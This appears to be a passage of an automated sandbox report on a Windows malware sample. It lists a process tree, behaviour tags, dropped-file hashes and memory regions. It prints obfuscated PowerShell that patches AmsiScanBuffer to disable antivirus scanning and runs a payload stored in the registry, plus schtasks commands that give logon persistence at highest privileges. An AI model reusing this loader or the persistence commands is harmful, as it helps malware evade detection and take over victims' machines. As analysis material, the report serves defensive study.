@([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$cAugaBKmCBe=$hTgQHJGVxzAbd.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+'M'+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+''+[Char](72)+''+[Char](97)+'nd'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+[Char](114)+'n'+[Char](101)+'l'+[Char](51)+''+[Char](50)+'.d'+[Char](108)+''+[Char](108)+'')));$RlNYIzauoFGDlO=$MhkUnzRfbidESP.Invoke($Null,@([Object]$cAugaBKmCBe,[Object]('L'+'o'+'adL'+[Char](105)+'b'+'r'+''+[Char](97)+''+'r'+''+'y'+''+[Char](65)+'')));$eVOBTJGgTWdSrrVLD=$MhkUnzRfbidESP.Invoke($Null,@([Object]$cAugaBKmCBe,[Object](''+'V'+''+'i'+''+'r'+''+[Char](116)+''+[Char](117)+'a'+'l'+'P'+'r'+''+[Char](111)+''+[Char](116)+''+'e'+''+[Char](99)+''+'t'+'')));$oPvgJTZ=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RlNYIzauoFGDlO,$DOtlBnemggKoWkZRzJd).Invoke(''+[Char](97)+''+'m'+'s'+'i'+''+[Char](46)+'d'+[Char](108)+'l');$RYAaeaZCIlNGQnUpR=$MhkUnzRfbidESP.Invoke($Null,@([Object]$oPvgJTZ,[Object](''+'A'+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](83)+''+[Char](99)+''+'a'+'n'+[Char](66)+''+[Char](117)+''+'f'+''+[Char](102)+'er')));$iVmZCVrBQE=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($eVOBTJGgTWdSrrVLD,$njlsGkLwPClAaQcQBXUloZ).Invoke($RYAaeaZCIlNGQnUpR,[uint32]8,4,[ref]$iVmZCVrBQE);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$RYAaeaZCIlNGQnUpR,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($eVOBTJGgTWdSrrVLD,$njlsGkLwPClAaQcQBXUloZ).Invoke($RYAaeaZCIlNGQnUpR,[uint32]8,0x20,[ref]$iVmZCVrBQE);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+'F'+''+[Char](84)+''+[Char](87)+''+[Char](65)+'R'+[Char](69)+'').GetValue(''+[Char](36)+''+[Char](55)+''+'7'+'st'+[Char](97)+''+[Char](103)+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:yLLVgvYmyfhb{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$XmzbmjjkUPUYrn,[Parameter(Position=1)][Type]$cotfaYcQUW)$JPHcrZlDnGL=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+'f'+'l'+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+[Char](101)+'l'+[Char](101)+''+[Char](103)+''+'a'+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+''+[Char](77)+''+[Char](101)+''+'m'+'or'+[Char](121)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+'u'+'l'+'e'+'',$False).DefineType(''+[Char](77)+'yD'+'e'+''+[Char](108)+''+[Char](101)+'g'+'a'+''+[Char](116)+'e'+'T'+'y'+[Char](112)+''+'e'+'',''+[Char](67)+''+[Char](108)+''+'a'+''+'s'+''+[Char](115)+''+','+''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+'ic'+[Char](44)+''+[Char](83)+''+[Char](101)+'al'+'e'+'d'+','+'A'+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+'l'+''+[Char](97)+''+'s'+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+'u'+''+'t'+''+[Char](111)+''+'C'+''+'l'+''+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$JPHcrZlDnGL.DefineConstructor(''+[Char](82)+'T'+[Char](83)+'p'+[Char](101)+''+'c'+''+'i'+'al'+[Char](78)+''+'a'+''+[Char](109)+'e'+[Char](44)+''+[Char](72)+''+'i'+''+[Char](100)+''+[Char](101)+''+'B'+''+'y'+''+[Char](83)+'i'+'g'+''+','+''+[Char](80)+'u'+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$XmzbmjjkUPUYrn).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+[Char](116)+'i'+[Char](109)+'e'+[Char](44)+''+'M'+''+[Char](97)+''+'n'+'ag'+[Char](101)+'d');$JPHcrZlDnGL.DefineMethod(''+[Char](73)+'nv'+'o'+''+[Char](107)+''+'e'+'',''+[Char](80)+''+'u'+'b'+[Char](108)+''+'i'+''+[Char](99)+''+','+''+[Char](72)+''+'i'+''+'d'+'e'+[Char](66)+''+'y'+''+[Char](83)+''+[Char](105)+'g,Ne'+[Char](119)+''+'S'+''+[Char](108)+''+'o'+'t,'+'V'+''+'i'+''+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+'l'+'',$cotfaYcQUW,$XmzbmjjkUPUYrn).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+''+'e'+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $JPHcrZlDnGL.CreateType();}$lwBKZWItQSqkn=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+''+[Char](116)+''+[Char](101)+'m'+[Char](46)+'d'+'l'+'l')}).GetType('M'+[Char](105)+''+[Char](99)+''+'r'+'o'+[Char](115)+''+'o'+''+[Char](102)+'t'+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+'3'+[Char](50)+''+[Char](46)+''+[Char](85)+'n'+[Char](115)+'afeN'+[Char](97)+''+'t'+''+[Char](105)+''+'v'+''+'e'+'Meth'+[Char](111)+''+[Char](100)+'s');$KihYwTtPklnyWP=$lwBKZWItQSqkn.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](80)+''+[Char](114)+''+'o'+''+'c'+''+[Char](65)+'dd'+[Char](114)+''+[Char](101)+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags]('P'+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+'c'+''+','+'S'+'t'+''+[Char](97)+''+[Char](116)+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$YauLUkDKGdPByfHTCxa=yLLVgvYmyfhb @([String])([IntPtr]);$tbyUOCXALIcoquoFmFGWVU=yLLVgvYmyfhb @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$ANVnChRqSZI=$lwBKZWItQSqkn.GetMethod('G'+'e'+''+[Char](116)+''+'M'+''+[Char](111)+''+[Char](100)+''+'u'+''+'l'+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+'n'+''+[Char](100)+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+'n'+'el'+[Char](51)+''+[Char](50)+'.'+[Char](100)+'ll')));$IKZmpMYlOQbuXt=$KihYwTtPklnyWP.Invoke($Null,@([Object]$ANVnChRqSZI,[Object]('L'+'o'+''+[Char](97)+'d'+[Char](76)+''+[Char](105)+'b'+'r'+'a'+[Char](114)+''+[Char](121)+'A')));$QvwycglbzTFWaJkyr=$KihYwTtPklnyWP.Invoke($Null,@([Object]$ANVnChRqSZI,[Object]('V'+[Char](105)+''+[Char](114)+'t'+[Char](117)+''+[Char](97)+''+[Char](108)+''+'P'+''+[Char](114)+''+'o'+''+[Char](116)+'ec'+[Char](116)+'')));$kfpuVuX=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IKZmpMYlOQbuXt,$YauLUkDKGdPByfHTCxa).Invoke(''+[Char](97)+''+'m'+''+[Char](115)+''+'i'+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'');$tEiWGVbTqeSFnzwxf=$KihYwTtPklnyWP.Invoke($Null,@([Object]$kfpuVuX,[Object]('A'+[Char](109)+''+[Char](115)+''+'i'+''+[Char](83)+''+[Char](99)+''+'a'+'n'+[Char](66)+''+'u'+''+[Char](102)+''+'f'+'e'+[Char](114)+'')));$OyJKCdDplp=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($QvwycglbzTFWaJkyr,$tbyUOCXALIcoquoFmFGWVU).Invoke($tEiWGVbTqeSFnzwxf,[uint32]8,4,[ref]$OyJKCdDplp);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$tEiWGVbTqeSFnzwxf,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($QvwycglbzTFWaJkyr,$tbyUOCXALIcoquoFmFGWVU).Invoke($tEiWGVbTqeSFnzwxf,[uint32]8,0x20,[ref]$OyJKCdDplp);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+'F'+''+[Char](84)+''+'W'+''+[Char](65)+'R'+[Char](69)+'').GetValue(''+'$'+''+[Char](55)+'7st'+'a'+''+[Char](103)+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵
-
C:\Windows\system32\sihost.exesihost.exe2⤵
- Modifies registry class
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
-
C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
-
C:\Users\Admin\AppData\Local\Temp\Uni.exe"C:\Users\Admin\AppData\Local\Temp\Uni.exe"2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Uni.exe" /rl HIGHEST /f3⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe"C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe" /rl HIGHEST /f4⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\install.exe"C:\Users\Admin\AppData\Local\Temp\install.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\install.exe"C:\Users\Admin\AppData\Local\Temp\install.exe"3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Uni.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\Uni.exe'" /sc onlogon /rl HIGHEST3⤵
- Creates scheduled task(s)
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Modifies data under HKEY_USERS
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
- Drops file in System32 directory
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\install.exeFilesize
162KB
MD5152e3f07bbaf88fb8b097ba05a60df6e
SHA1c4638921bb140e7b6a722d7c4d88afa7ed4e55c8
SHA256a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc
SHA5122fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4
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C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exeFilesize
409KB
MD57417c8c73e614f293152575f46134216
SHA1cc68f7f5e7c769efb5b3e06bfb3a2f9329f37805
SHA25600c7cb06bebe0da961155dc00f7ea7f96a3b04c89ae82408e7ece6968c91c3c3
SHA512897a859e609028157f2721d76b97497d4b9f821d2b8be3359d1192ddc3a83d4b7449db25c63c3c260067b796c122194c48747dc611c98dc1e33aab82a20b98b0
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C:\Windows\Temp\__PSScriptPolicyTest_cucaux1b.dvm.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.logFilesize
2KB
MD52f57fde6b33e89a63cf0dfdd6e60a351
SHA1445bf1b07223a04f8a159581a3d37d630273010f
SHA2563b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA51242857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD539e7335d6b27147ba82cebb03f348f45
SHA1d340283071e106cefd111b6c0058b7ea7f2ee38c
SHA25688809d8a5e6ae13b10633539ec5eee82aaf0f5cdc2dfb06547413aec2c59ce4a
SHA512f348639c7b203c96ca60328270d938c39f1a6c4246ee74610033cba8fb04979407df07f9067acdde897026bf1315093b1d8e08691ce64dc5c3ac586e1a2cc527
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memory/380-5-0x00000000054B0000-0x0000000005516000-memory.dmpFilesize
408KB
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memory/380-20-0x0000000075180000-0x0000000075930000-memory.dmpFilesize
7.7MB
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memory/380-7-0x0000000006700000-0x000000000673C000-memory.dmpFilesize
240KB
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memory/380-0-0x000000007518E000-0x000000007518F000-memory.dmpFilesize
4KB
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memory/380-4-0x0000000075180000-0x0000000075930000-memory.dmpFilesize
7.7MB
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memory/380-3-0x0000000005530000-0x00000000055C2000-memory.dmpFilesize
584KB
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memory/380-2-0x0000000005990000-0x0000000005F34000-memory.dmpFilesize
5.6MB
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memory/380-6-0x00000000061C0000-0x00000000061D2000-memory.dmpFilesize
72KB
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memory/380-1-0x0000000000A40000-0x0000000000AAC000-memory.dmpFilesize
432KB
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memory/404-107-0x000001E68FD90000-0x000001E68FDBB000-memory.dmpFilesize
172KB
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memory/612-62-0x000001A43E210000-0x000001A43E23B000-memory.dmpFilesize
172KB
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memory/612-69-0x000001A43E210000-0x000001A43E23B000-memory.dmpFilesize
172KB
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memory/612-70-0x00007FFE0E5B0000-0x00007FFE0E5C0000-memory.dmpFilesize
64KB
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memory/612-63-0x000001A43E210000-0x000001A43E23B000-memory.dmpFilesize
172KB
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memory/612-61-0x000001A43E1E0000-0x000001A43E205000-memory.dmpFilesize
148KB
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memory/664-80-0x000001E409510000-0x000001E40953B000-memory.dmpFilesize
172KB
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memory/664-81-0x00007FFE0E5B0000-0x00007FFE0E5C0000-memory.dmpFilesize
64KB
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memory/664-74-0x000001E409510000-0x000001E40953B000-memory.dmpFilesize
172KB
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memory/940-85-0x000001CFDA5D0000-0x000001CFDA5FB000-memory.dmpFilesize
172KB
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memory/940-91-0x000001CFDA5D0000-0x000001CFDA5FB000-memory.dmpFilesize
172KB
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memory/940-92-0x00007FFE0E5B0000-0x00007FFE0E5C0000-memory.dmpFilesize
64KB
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memory/1012-102-0x000002D72CB50000-0x000002D72CB7B000-memory.dmpFilesize
172KB
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memory/1012-103-0x00007FFE0E5B0000-0x00007FFE0E5C0000-memory.dmpFilesize
64KB
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memory/1012-96-0x000002D72CB50000-0x000002D72CB7B000-memory.dmpFilesize
172KB
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memory/1580-35-0x0000000006790000-0x000000000679A000-memory.dmpFilesize
40KB
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memory/1580-1101-0x0000000075180000-0x0000000075930000-memory.dmpFilesize
7.7MB
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memory/1580-1100-0x0000000075180000-0x0000000075930000-memory.dmpFilesize
7.7MB
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memory/1580-13-0x0000000075180000-0x0000000075930000-memory.dmpFilesize
7.7MB
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memory/1580-14-0x0000000075180000-0x0000000075930000-memory.dmpFilesize
7.7MB
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memory/2096-30-0x000001F67FCC0000-0x000001F67FCE2000-memory.dmpFilesize
136KB
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memory/2096-45-0x000001F61AD40000-0x000001F61AD6A000-memory.dmpFilesize
168KB
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memory/2096-47-0x00007FFE4CCF0000-0x00007FFE4CDAE000-memory.dmpFilesize
760KB
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memory/2096-46-0x00007FFE4E530000-0x00007FFE4E725000-memory.dmpFilesize
2.0MB
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memory/3720-48-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
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memory/3720-55-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
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memory/3720-49-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
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memory/3720-57-0x00007FFE4CCF0000-0x00007FFE4CDAE000-memory.dmpFilesize
760KB
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memory/3720-56-0x00007FFE4E530000-0x00007FFE4E725000-memory.dmpFilesize
2.0MB
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memory/3720-58-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
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memory/3720-51-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
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memory/3720-50-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB